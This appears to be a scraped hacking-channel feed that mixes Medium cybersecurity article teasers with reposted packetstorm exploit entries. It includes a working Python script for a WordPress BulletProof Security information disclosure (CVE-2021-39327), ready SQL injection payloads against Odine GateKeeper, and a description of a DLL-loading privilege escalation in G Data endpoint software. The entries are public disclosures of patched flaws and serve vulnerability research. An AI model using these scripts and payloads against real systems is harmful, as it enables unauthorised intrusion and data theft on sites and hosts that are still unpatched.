Hacking on Medium
Hub Weekly Digest: Microsoft Warns of Phishing, Houston Port Targeted, Colonial Pipeline…

https://cdn-images-1.medium.com/max/2600/1*JO-Mf55PiRod_fCZLoeHcg.jpeg
HUB Security’s weekly digest covers top stories happening around the world related to cyber attacks, threats and global cybersecurity news.

Continue reading on HUB Security »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Who Am I [v2.0]

Well, Since We got some Attention from The Community (Love u People) I will do this AGAIN but with a bit more insight :)

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
SQL Injection dan Pencegahannya

Apa itu SQL Injection? Serangan SQL injection atau Injeksi SQL merupakan teknik serangan injeksi kode yang memanfaatkan celah keamanan…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Sketch2code

https://cdn-images-1.medium.com/max/1900/1*CiRnUniVjg_iJJjKAnxe-w.png
Sketch2Code is a web based solution that uses machine learning to transform your handwritten notes from an image to a working HTML markup…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Microsoft Office OneNote 2007 Remote Code Execution

https://3.bp.blogspot.com/-XNOhyhmygqg/WWlvTLzMLRI/AAAAAAAAINo/1vKZqL-UEc0yrpuP08mTX_Jxjx_k32PvQCLcBGAs/s1600/h41.png
Microsoft Office OneNote 2007 proof of concept exploit for a OnePKG file parsing remote code execution vulnerability. Upon decompressing files from .ONEPKG archives (using MS CAB format), a failure to sanitize file paths and file contents allows for arbitrary file planting in arbitrary locations on the OS, including the startup folder.

MD5 | 66b82cd487db6f570ee8d45f756cf2ca

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress BulletProof Security 5.1 Information Disclosure

https://3.bp.blogspot.com/-D2NV3HnXxpM/WWlu9YoBNhI/AAAAAAAAIJs/rLrqFdeLLWYSGUQPyN0O7DuhnXu7T_FjQCLcBGAs/s1600/h114.png
WordPress BulletProof Security plugin version 5.1 suffers from an information disclosure vulnerability.

MD5 | 8921fb148d8d2f34f31511cf73eba22e

Download
# Exploit Title: Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure
# Date 04.10.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://forum.ait-pro.com/read-me-first/
# Software Link: https://downloads.wordpress.org/plugin/bulletproof-security.5.1.zip
# Version: <=
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-39327
# CWE: CWE-200
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md
'''
Description:
The BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible
~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files.
This affects versions up to, and including, 5.1.
'''

'''
'Banner:
'''
banner = '''
______ _______ ____ ___ ____ _ _____ ___ _________ _____
/ ___\ \ / / ____| |___ \ / _ \___ \/ | |___ // _ \___ /___ \___ |
| | \ \ / /| _| _____ __) | | | |__) | |_____ |_ \ (_) ||_ \ __) | / /
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____|__) \__, |__) / __/ / /
\____| \_/ |_____| |_____|\___/_____|_| |____/ /_/____/_____/_/

* Sensitive information disclosure
@ Author: Ron Jost
'''
print(banner)
import argparse
import requests

'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Plugin BulletProof Security - Sensitive information disclosure')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
print('')
print('[*] Starting Exploit:')
print('')

paths = ["/wp-content/bps-backup/logs/db_backup_log.txt", "/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt"]

# Exploit
for pathadd in paths:
x = requests.get("http://" + target_ip + ':' + target_port + '/' + wp_path + pathadd)
print(x.text)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Odine Solutions GateKeeper 1.0 SQL Injection

https://4.bp.blogspot.com/-mbNmyGHywr4/WWlve-suujI/AAAAAAAAIP4/9elXOC6IHOcW_3VzQDLCix2bjP9zh38ZgCLcBGAs/s1600/h83.png
Odine Solutions GateKeeper version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | e6c999b2b236d580398e8cb7ace126e7

Download
# Exploit Title: Odine Solutions GateKeeper 1.0 - 'trafficCycle' SQL Injection
# Date: 05.10.2021
# Exploit Author: Emel Basayar
# Vendor: Odine Solutions - odinesolutions.com
# Vendor Homepage: https://odinesolutions.com/software/gatekeeper-simbox-antifraud/
# Version: 1.0
# Category: Webapps
# Tested on: Ubuntu 18 TLS
# Description : The vulnerability allows an attacker to inject sql commands from search section with 'trafficCycle' parameter.
# This vulnerability was discovered during the penetration testing and the vulnerability was fixed.
====================================================

# PoC : SQLi :

GET /rass/api/v1/trafficCycle/98 HTTP/1.1
Host: 192.168.1.25
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: application/json
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Bearer xm38HruG-htx0jNuM-l9UBCkoz-G7RigZvx
Origin: https://192.168.1.25
Connection: close
Referer: https://192.168.1.25

Parameter: #1* (URI)
Type: error-based
Title: PostgreSQL AND error-based - WHERE or HAVING clause
Payload: https://192.168.1.25:443/rass/api/v1/trafficCycle/98' AND 5042=CAST((CHR(113)||CHR(118)||CHR(112)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (5042=5042) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(98)||CHR(120)||CHR(113)) AS NUMERIC)-- yrdB

Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: https://192.168.1.25:443/rass/api/v1/trafficCycle/98';SELECT PG_SLEEP(5)--

Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: https://192.168.1.25:443/rass/api/v1/trafficCycle/98' AND 9405=(SELECT 9405 FROM PG_SLEEP(5))-- PasC
---
web application technology: Nginx
back-end DBMS: PostgreSQL

====================================================

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
G Data EndpointProtection Enterprise 17.08.2021 Privilege Escalation

https://4.bp.blogspot.com/-42b-8Yu8ql4/WWlvfoDuyhI/AAAAAAAAIQE/GMGQD7Uo7DMncRccI_LNcWgfvYRkd0zwQCLcBGAs/s1600/h86.png
G Data EndpointProtection Enterprise version 17.08.2021 suffers from a privilege escalation vulnerability.

MD5 | b7c6e369ca821f7e8d7aaa6fbda494ee

Download
DATA Anti-Virus: Abusing OpenSSL to get local admin

Metadata
===================================================
Release Date: 05-Oct-2021
Author: Florian Bogner @ https://bee-itsecurity.at
Affected product: G Data’s Security Client “EndpointProtection Enterprise”
Fixed in: all versions after 17.08.2021
Tested on: Windows 10 x64 fully patched
URL: https://bogner.sh/2021/10/g-data-anti-virus-abusing-openssl-to-get-local-admin/
Vulnerability Status: Fixed with new release

Product Description
===================================================
The most sensitive areas of your systems are your employees’ workstations. Where attachments are opened, passwords are entered, and sensitive data is processed. The servers that make connections across the entire network. And smartphones that come and go with your employees every day. This is precisely where our endpoint security solutions protect your company assets. [https://www.gdata-software.com/business/endpoint-security]

Vulnerability Description
===================================================
The underlying problem was, that the GdAgentSrv (which is running as SYSTEM) tried to load its OpenSSL configuration from the non-existing path C:\Jenkins\vcpkg-master\packages\openssl-windows_x86-141-static\openssl.cnf (newer versions load from C:\Jenkins\vcpkg-master\packages\openssl-windows_x86-static\openssl.cnf). This can be abused by any local user to load arbitrary libraries (DLLs) and execute untrusted code in the affected process. This leads to a privilege escalation from non-admin user to SYSTEM.

For more information please visit: https://bogner.sh/2021/10/g-data-anti-virus-abusing-openssl-to-get-local-admin/

Suggested Solution
===================================================
Users should update to the latest available version.

Disclosure Timeline
===================================================
10.10.2019: The issue has been identified, documented and reported (ticket number CAS-730826-F7K4R9). No reply received.
11.2020: The issue was communicated again to G Data’s Sales Team in Austria. After initial communication no further feedback.
06.2021: The issues was abused during a security check to overtake another client’s infrastructure.
14.06.2021: G DATA confirms the vulnerability. Public disclosure is planed for 15th September 2021
17.08.2021: Fixed version is released to the public
05.10.2021: Public disclosure

___________

Florian Bogner
Information Security Expert, Speaker

Bee IT Security Consulting GmbH
Nibelungenstraße 37
3123 A-Schweinern

Tel: +43 660 123 9 454
Mail: florian.bogner@bee-itsecurity.at
Web: https://www.bee-itsecurity.at

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
High Infinity Technology HiKam S6 1.3.26 Spoofing / Broken Authentication

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Talariax sendQuick Alertplus 4.3 SQL Injection

https://2.bp.blogspot.com/-3bqdQy169Lk/WWlvCV-tQiI/AAAAAAAAIKk/BK-Yk_ldGYEd1hCc6yCV2jCLaxiytL8_wCLcBGAs/s1600/h127.png
Talariax sendQuick Alertplus server admin version 4.3 suffers from a remote SQL injection vulnerability.

MD5 | f8a6239dc00f0239591cfaa64edc9f96

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video